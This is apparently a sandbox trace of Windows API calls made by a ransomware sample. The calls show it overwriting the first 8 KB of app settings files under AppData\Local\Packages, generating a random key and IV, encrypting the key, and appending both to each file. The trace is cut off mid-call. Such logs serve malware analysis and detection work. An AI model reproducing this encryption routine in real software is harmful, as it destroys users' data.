WriteFile (in: hFile=0x1404, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.874] WriteFile (in: hFile=0x1404, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.874] CloseHandle (hObject=0x1404) returned 1 [0166.886] WriteFile (in: hFile=0x1410, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.887] CloseHandle (hObject=0x1410) returned 1 [0166.888] WriteFile (in: hFile=0x1410, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.889] CloseHandle (hObject=0x1410) returned 1 [0166.890] WriteFile (in: hFile=0x1410, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.891] CloseHandle (hObject=0x1410) returned 1 [0166.891] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0166.891] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.891] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0166.892] ReadFile (in: hFile=0x1424, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.892] SetFilePointer (in: hFile=0x1424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.892] WriteFile (in: hFile=0x1424, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.892] SetFilePointer (in: hFile=0x1424, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0166.893] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.893] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.893] WriteFile (in: hFile=0x1424, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.894] WriteFile (in: hFile=0x1424, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.894] CloseHandle (hObject=0x1424) returned 1 [0166.897] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0166.897] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0166.897] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0166.897] ReadFile (in: hFile=0x1424, lpBuffer=0x2ecd058, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.899] SetFilePointer (in: hFile=0x1424, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.899] WriteFile (in: hFile=0x1424, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.899] SetFilePointer (in: hFile=0x1424, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0166.899] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.899] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.900] WriteFile (in: hFile=0x1424, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.900] WriteFile (in: hFile=0x1424, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.900] CloseHandle (hObject=0x1424) returned 1 [0166.902] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0166.902] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0166.902] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0166.902] ReadFile (in: hFile=0x1424, lpBuffer=0x2ec3030, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.909] SetFilePointer (in: hFile=0x1424, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.909] WriteFile (in: hFile=0x1424, lpBuffer=0x2ec9048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.910] SetFilePointer (in: hFile=0x1424, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0166.910] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.910] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.910] WriteFile (in: hFile=0x1424, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.910] WriteFile (in: hFile=0x1424, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.911] CloseHandle (hObject=0x1424) returned 1 [0166.912] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0166.912] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.912] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0166.913] ReadFile (in: hFile=0x1424, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.913] SetFilePointer (in: hFile=0x1424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.913] WriteFile (in: hFile=0x1424, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.913] SetFilePointer (in: hFile=0x1424, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0166.913] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.913] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.913] WriteFile (in: hFile=0x1424, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.914] WriteFile (in: hFile=0x1424, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.914] CloseHandle (hObject=0x1424) returned 1 [0166.916] WriteFile (in: hFile=0x1430, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.917] CloseHandle (hObject=0x1430) returned 1 [0166.918] WriteFile (in: hFile=0x1430, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.919] CloseHandle (hObject=0x1430) returned 1 [0166.919] WriteFile (in: hFile=0x1430, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0166.920] CloseHandle (hObject=0x1430) returned 1 [0166.920] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0166.920] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.920] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0166.921] ReadFile (in: hFile=0x1444, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.921] SetFilePointer (in: hFile=0x1444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.921] WriteFile (in: hFile=0x1444, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.921] SetFilePointer (in: hFile=0x1444, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0166.921] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.921] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.922] WriteFile (in: hFile=0x1444, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.923] WriteFile (in: hFile=0x1444, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.923] CloseHandle (hObject=0x1444) returned 1 [0166.926] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0166.926] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0166.926] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0166.927] ReadFile (in: hFile=0x1444, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.929] SetFilePointer (in: hFile=0x1444, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.929] WriteFile (in: hFile=0x1444, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.929] SetFilePointer (in: hFile=0x1444, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0166.929] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.929] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.930] WriteFile (in: hFile=0x1444, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.930] WriteFile (in: hFile=0x1444, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.930] CloseHandle (hObject=0x1444) returned 1 [0166.932] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0166.932] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0166.932] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0166.933] ReadFile (in: hFile=0x1444, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.936] SetFilePointer (in: hFile=0x1444, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.936] WriteFile (in: hFile=0x1444, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0166.936] SetFilePointer (in: hFile=0x1444, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0166.936] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.936] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.937] WriteFile (in: hFile=0x1444, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.937] WriteFile (in: hFile=0x1444, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.937] CloseHandle (hObject=0x1444) returned 1 [0166.939] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0166.939] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0166.939] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0166.939] ReadFile (in: hFile=0x1444, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.939] SetFilePointer (in: hFile=0x1444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.939] WriteFile (in: hFile=0x1444, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.939] SetFilePointer (in: hFile=0x1444, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0166.939] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.939] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.940] WriteFile (in: hFile=0x1444, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.940] WriteFile (in: hFile=0x1444, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.941] CloseHandle (hObject=0x1444) returned 1 [0166.942] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0166.942] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0166.942] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0166.943] ReadFile (in: hFile=0x1464, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.943] SetFilePointer (in: hFile=0x1464, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0166.943] WriteFile (in: hFile=0x1464, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0166.944] SetFilePointer (in: hFile=0x1464, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0166.944] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0166.944] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0166.944] WriteFile (in: hFile=0x1464, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0166.945] WriteFile (in: hFile=0x1464, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0166.945] CloseHandle (hObject=0x1464) returned 1 [0166.946] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0166.946] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0166.946] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0166.947] ReadFile (in: hFile=0x1464, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0167.035] SetFilePointer (in: hFile=0x1464, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.035] WriteFile (in: hFile=0x1464, lpBuffer=0x2ecd058*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0167.036] SetFilePointer (in: hFile=0x1464, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0167.036] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.036] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.036] WriteFile (in: hFile=0x1464, lpBuffer=0x5c53a0*, 